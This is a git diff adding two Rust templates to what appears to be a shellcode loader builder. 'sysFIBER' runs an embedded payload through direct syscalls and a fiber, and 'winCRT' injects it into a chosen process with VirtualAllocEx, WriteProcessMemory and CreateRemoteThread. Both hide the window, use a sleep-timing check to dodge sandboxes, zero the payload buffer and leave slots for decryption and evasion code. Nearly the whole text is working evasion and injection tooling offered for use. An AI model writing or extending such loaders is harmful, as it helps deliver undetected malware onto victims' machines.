b/templates/sysFIBER/Cargo.toml @@ -0,0 +1,32 @@ +[package] +name = "sysFIBER" +version = "0.1.1" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +{{DLL_FORMAT}} + +[dependencies] +dyncvoke = { git = "https://github.com/Whitecat18/Dyncvoke" } +ntapi = { version = "0.4", features = ["impl-default"] } +winapi = { version = "0.3", features = ["ntdef", "ntstatus", "impl-default", "winbase", "sysinfoapi", "libloaderapi", "processthreadsapi", "debugapi", "errhandlingapi", "winnt"] } +{{DEPENDENCIES}} + + +[dependencies.windows-sys] +version = "0.61" + +features = [ + "Win32_System_Memory", + "Win32_Foundation", + "Win32_Security", + "Win32_System_Threading", +] + +[profile.release] +strip = true # Automatically strip symbols from the binary. +opt-level = "z" +codegen-units = 1 +panic = "abort" +lto = true diff --git a/templates/sysFIBER/src/main.rs b/templates/sysFIBER/src/main.rs new file mode 100644 index 0000000..be265b3 --- /dev/null +++ b/templates/sysFIBER/src/main.rs @@ -0,0 +1,119 @@ +#![windows_subsystem = "windows"] +#![allow(non_snake_case)] + +use std::ptr::null_mut; +use std::time::Instant; + +use ntapi::ntpsapi::NtCurrentProcess; +use dyncvoke::dyncvoke_core::syscall; +use winapi::ctypes::c_void; +use winapi::{ + shared::ntdef::NT_SUCCESS, + um::winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_READWRITE}, +}; +use windows_sys::Win32::System::Threading::{ + ConvertThreadToFiber, CreateFiberEx, SwitchToFiber, LPFIBER_START_ROUTINE, +}; + +use std::include_bytes; + +{{SANDBOX_IMPORTS}} + +{{IMPORTS}} + +{{DECRYPTION_FUNCTION}} + +fn pause(ms: i64) { + let interval: i64 = -(ms * 10_000); + let _ = syscall!("NtDelayExecution", 0u32, &interval as *const i64); +} + +fn check_environment() -> bool { + let start = Instant::now(); + pause(3000); + start.elapsed().as_millis() >= 2500 +} + +fn wipe(buf: &mut Vec) { + for b in buf.iter_mut() { + unsafe { std::ptr::write_volatile(b as *mut u8, 0); } + } + buf.clear(); +} + +fn enhance(mut buf: Vec) { + unsafe { + let buf_len = buf.len(); + + let mut region_base: *mut c_void = null_mut(); + let mut region_size: usize = buf_len; + let status = syscall!("NtAllocateVirtualMemory", + NtCurrentProcess, + &mut region_base as *mut *mut c_void, + 0usize, + &mut region_size as *mut usize, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE + ).unwrap_or(-1); + if !NT_SUCCESS(status) { return; } + + pause(150); + {{NT_DELAY_STEP}} + + let mut bytes_written: usize = 0; + let src = buf.as_mut_ptr() as *mut c_void; + let status = syscall!("NtWriteVirtualMemory", + NtCurrentProcess, + region_base, + src, + buf_len, + &mut bytes_written as *mut usize + ).unwrap_or(-1); + if !NT_SUCCESS(status) { return; } + + wipe(&mut buf); + + pause(200); + {{NT_DELAY_STEP}} + + let mut old_protect: u32 = 0; + let mut protect_size: usize = buf_len; + let status = syscall!("NtProtectVirtualMemory", + NtCurrentProcess, + &mut region_base as *mut *mut c_void, + &mut protect_size as *mut usize, + PAGE_EXECUTE_READ, + &mut old_protect as *mut u32 + ).unwrap_or(-1); + if !NT_SUCCESS(status) { return; } + + pause(100); + {{NT_DELAY_STEP}} + {{NT_DELAY_FINAL}} + + let fiber_func: LPFIBER_START_ROUTINE = std::mem::transmute(region_base); + let shellcode_fiber = CreateFiberEx(0, 0, 0, fiber_func, null_mut()); + if shellcode_fiber.is_null() { return; } + + let main_fiber = ConvertThreadToFiber(null_mut()); + if main_fiber.is_null() { return; } + + SwitchToFiber(shellcode_fiber); + } +} + +fn main() { + {{NT_DELAY_AT_START}} + {{SANDBOX}} + + if !check_environment() { return; } + + let buf = include_bytes!({{PATH_TO_SHELLCODE}}); + let mut vec: Vec = buf.to_vec(); + + {{MAIN}} + + enhance(vec); +} + +{{DLL_MAIN}} \ No newline at end of file diff --git a/templates/winCRT/.gitignore b/templates/winCRT/.gitignore new file mode 100644 index 0000000..c01bd78 --- /dev/null +++ b/templates/winCRT/.gitignore @@ -0,0 +1,13 @@ +# Generated by Cargo +# will have compiled files and executables +/target/ + +# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries +# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html +Cargo.lock + +# These are backup files generated by rustfmt +**/*.rs.bk + +# Local shellcodes used for tests +*.bin \ No newline at end of file diff --git a/templates/winCRT/Cargo.toml b/templates/winCRT/Cargo.toml new file mode 100644 index 0000000..13b3049 --- /dev/null +++ b/templates/winCRT/Cargo.toml @@ -0,0 +1,34 @@ +[package] +name = "winCRT" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +{{DLL_FORMAT}} + +[dependencies] +sysinfo = "0.38" +winapi = { version = "0.3", features = ["ntdef", "libloaderapi", "processthreadsapi", "debugapi", "errhandlingapi", "winnt", "sysinfoapi"] } +{{DEPENDENCIES}} + +[dependencies.windows] +version = "0.62" +features = [ + "Win32_UI_Input_Pointer", + "Win32_Foundation", + "Win32_System_Threading", + "Win32_System_Memory", + "Win32_System_Diagnostics_Debug", + "Win32_Security", + "Win32_UI_Input_Pointer", + "Win32_System_SystemInformation" +] + + +[profile.release] +strip = true # Automatically strip symbols from the binary. +opt-level = "z" +codegen-units = 1 +panic = "abort" +lto = true \ No newline at end of file diff --git a/templates/winCRT/src/main.rs b/templates/winCRT/src/main.rs new file mode 100644 index 0000000..3572229 --- /dev/null +++ b/templates/winCRT/src/main.rs @@ -0,0 +1,126 @@ +#![windows_subsystem = "windows"] +#![allow(non_snake_case)] + +use sysinfo::System; +use windows::Win32::System::Diagnostics::Debug::WriteProcessMemory; +use windows::Win32::System::Memory::VirtualAllocEx; +use windows::Win32::System::Memory::VirtualProtectEx; +use windows::Win32::System::Memory::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_READWRITE}; +use windows::Win32::System::Threading::CreateRemoteThread; +use windows::Win32::System::Threading::OpenProcess; +use windows::Win32::System::Threading::PROCESS_ALL_ACCESS; +use std::include_bytes; +use std::time::{Duration, Instant}; +use std::thread; + +{{IMPORTS}} + +{{SANDBOX_IMPORTS}} + +{{DECRYPTION_FUNCTION}} + +fn boxboxbox(tar: &str) -> Vec { + let mut dom: Vec = Vec::new(); + let s = System::new_all(); + let tar_lower = tar.to_lowercase(); + for (_, pro) in s.processes() { + if pro.name().to_string_lossy().to_lowercase() == tar_lower { + dom.push(usize::try_from(pro.pid().as_u32()).unwrap()); + } + } + dom +} + +fn pause(ms: u64) { + thread::sleep(Duration::from_millis(ms)); +} + +fn check_environment() -> bool { + let start = Instant::now(); + pause(3000); + start.elapsed().as_millis() >= 2500 +} + +fn wipe(buf: &mut Vec) { + for b in buf.iter_mut() { + unsafe { std::ptr::write_volatile(b as *mut u8, 0); } + } + buf.clear(); +} + +fn enhance(mut buf: Vec, tar: usize) { + unsafe { + let h_process = match OpenProcess(PROCESS_ALL_ACCESS, false, tar as u32) { + Ok(h) => h, + Err(_) => return, + }; + + pause(150); + {{NT_DELAY_STEP}} + + let buf_len = buf.len(); + let result_ptr = VirtualAllocEx(h_process, None, buf_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + + pause(200); + {{NT_DELAY_STEP}} + + let mut byteswritten = 0; + let _ = WriteProcessMemory( + h_process, + result_ptr, + buf.as_ptr() as _, + buf_len, + Some(&mut byteswritten), + ); + + wipe(&mut buf); + pause(150); + {{NT_DELAY_STEP}} + + let mut old_perms = PAGE_READWRITE; + let _ = VirtualProtectEx( + h_process, + result_ptr, + buf_len, + PAGE_EXECUTE_READ, + &mut old_perms, + ); + + pause(100); + {{NT_DELAY_STEP}} + {{NT_DELAY_FINAL}} + + let _ = CreateRemoteThread( + h_process, + None, + 0, + Some(std::mem::transmute(result_ptr)), + None, + 0, + None, + ); + } +} + +fn main() { + {{NT_DELAY_AT_START}} + {{SANDBOX}} + + if !check_environment() { return; } + + let tar: &str = "{{TARGET_PROCESS}}"; + + let buf = include_bytes!({{PATH_TO_SHELLCODE}}); + let mut vec: Vec = buf.to_vec(); + + {{MAIN}} + + let list: Vec = boxboxbox(tar); + if !list.is_empty() { + for i in &list { + enhance(vec.clone(), *i); + } + } +} + +{{DLL_MAIN}}